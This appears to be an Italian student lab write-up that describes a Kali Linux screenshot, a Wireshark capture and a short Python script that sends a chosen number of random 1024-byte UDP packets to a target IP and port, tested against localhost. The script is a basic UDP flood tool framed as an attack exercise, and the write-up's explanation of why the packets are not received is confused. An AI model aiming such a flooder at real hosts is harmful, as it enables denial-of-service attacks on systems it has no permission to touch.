

The screenshot displays a Kali Linux virtual machine environment. On the left, the Wireshark network protocol analyzer is open, showing a list of captured packets. The selected packet (Frame 3) is a UDP packet from 127.0.0.1 to 127.0.0.1 on port 38887. The packet details pane shows the raw data in hexadecimal and ASCII. On the right, a terminal window shows the execution of a Python script named `S3L5.py`. The script prompts the user for the target IP address (127.0.0.1) and port (4444), and the number of packets to send (15). The script then sends 15 random 1024-byte packets to the specified target.

Wireshark Packet List:

No.	Time	Source	Destination	Protocol	Length	Info
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444
0.1	0.000000	127.0.0.1	127.0.0.1	ICMP	592	Destination
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444
0.1	0.000000	127.0.0.1	127.0.0.1	ICMP	592	Destination
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444
0.1	0.000000	127.0.0.1	127.0.0.1	ICMP	592	Destination
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444
0.1	0.000000	127.0.0.1	127.0.0.1	ICMP	592	Destination
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444
0.1	0.000000	127.0.0.1	127.0.0.1	ICMP	592	Destination
0.1	0.000000	127.0.0.1	127.0.0.1	UDP	1068	38887 → 4444

Terminal Output:

```
(kali@kali)-[~/Desktop/esercizi]
$ python S3L5.py
Inserisci l'ip Target :
127.0.0.1
Inserisci la porta del Target :
4444
quanti pacchetti vuoi inviare?
15
```

Python Script (S3L5.py):

```
1 import socket, random
2
3 ADDR=input("Inserisci l'ip Target :\n")
4
5 PRT=int(input("inserisci la porta del Target :\n"))
6
7 address=(ADDR,PRT)
8
9 s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
10
11
12 num_pacchetti = int(input("quanti pacchetti vuoi inviare? \n"))
13
14
15 for x in range(num_pacchetti):
16     pacchetto= random.randbytes(1024)
17     s.sendto(pacchetto,address)
18
```

Semplice programma per inviare una serie di pacchetti (compilati casualmente) da 1024 b ad un obbiettivo a scelta del utente.

Il pacchetto non arriva perchè il firewall blocca il pacchetto(non abbiamo immesso la funzione s.bind per aprire la porta che attacchiamo)

Con wireshark possiamo vedere il programma in funzione